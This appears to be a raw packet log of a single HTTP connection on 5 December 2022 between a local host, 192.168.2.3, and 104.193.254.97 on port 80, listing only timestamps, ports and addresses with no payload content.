Dec 5, 2022 06:44:47.750886917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.798250914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.798281908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.798297882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.798388958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.875358105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875425100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875462055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875504017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875526905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.875544071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875577927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.875622988 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.878684044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878742933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878776073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878820896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878860950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.878866911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878933907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.878998041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.879348040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879391909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879421949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879465103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879471064 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.879508018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879539013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879580021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879587889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.879621983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879652023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879690886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879697084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.879733086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879761934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.879808903 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.907008886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907058001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907092094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907133102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907174110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907180071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.907202959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.907238007 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.909373999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909435987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909475088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909517050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909544945 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.909559011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909591913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909635067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909646988 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.909677982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909708023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909754992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.909766912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909832001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909866095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.909884930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.910404921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.910453081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.910484076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.910525084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.911448956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.911494970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.911525011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.911559105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.912457943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.912503004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.912533045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.912555933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914119005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914165020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914196968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914231062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914241076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914283991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914314985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914336920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914474010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914515972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914546013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914591074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914597034 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914632082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914663076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914705038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914710999 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914747953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914777994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914820910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914856911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914864063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914918900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.914926052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.914972067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915019989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915050030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915071964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.915091038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915131092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915160894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.915210009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.960776091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.960840940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.960875988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.960952997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.037914991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.037971973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.038007021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.038048029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.038090944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.038122892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.038136005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.038212061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.041079044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041124105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041153908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041197062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041238070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041237116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.041269064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041323900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.041912079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041960955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.041990995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042032003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042054892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.042073011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042105913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042148113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042156935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.042201996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042232990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042273045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042279959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.042315006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042345047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.042391062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.069552898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069622993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069654942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069695950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069736958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069761038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.069770098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.069823980 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.072982073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073043108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073076010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073118925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073133945 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.073162079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073194027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073235035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073237896 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.073277950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073307991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073318958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.073349953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073394060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073425055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073436975 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.073468924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073512077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073540926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073581934 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.073744059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073801994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073847055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.073853970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.074651957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.074706078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.074780941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.074805021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.076560020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076595068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076615095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076641083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076666117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.076667070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076689005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.076726913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080265999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080302954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080322981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080348969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080354929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080375910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080395937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080434084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080460072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080487967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080507994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080530882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080533028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080559969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080579996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080619097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080693007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080741882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080761909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080781937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.080787897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080818892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080840111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.080858946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.123226881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.123253107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.123265982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.123366117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.200617075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200675011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200706005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200747967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200763941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.200792074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200824976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200860023 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.200865984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200908899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200937986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.200967073 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.204077959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204149008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204190969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204231977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204261065 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.204274893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204307079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.204350948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.205184937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205228090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205257893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205315113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.205470085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205514908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205545902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205585957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205590010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.205629110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205658913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205701113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205717087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.205744982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205776930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.205828905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.233576059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233644962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233681917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233726025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233772039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233778954 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.233803034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.233869076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238090038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238147974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238178968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238221884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238248110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238264084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238295078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238322973 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238337994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238380909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238410950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238436937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238451958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238497972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238528013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238555908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238569021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238610983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238642931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238687992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238696098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238729954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238760948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238801956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238810062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.238845110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238895893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.238948107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.239917994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.239964008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.240000010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.240041018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.240045071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.240083933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.240113974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.240137100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.243352890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.243396997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.243427992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.243484020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.243540049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245616913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245652914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245693922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245719910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.245738983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245770931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245812893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245820045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.245857954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245888948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245917082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.245930910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.245973110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.246005058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.246028900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.246049881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.246093035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.246123075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.246172905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.288124084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.288192034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.288228035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.288371086 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.365983009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366046906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366082907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366127014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366168976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366168022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.366200924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366244078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366259098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.366286039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366317987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.366368055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.370527983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.370599031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.370634079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.370675087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.370676994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.370719910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.370750904 CET	80	49705	104.193.254.97	192.168.2.3
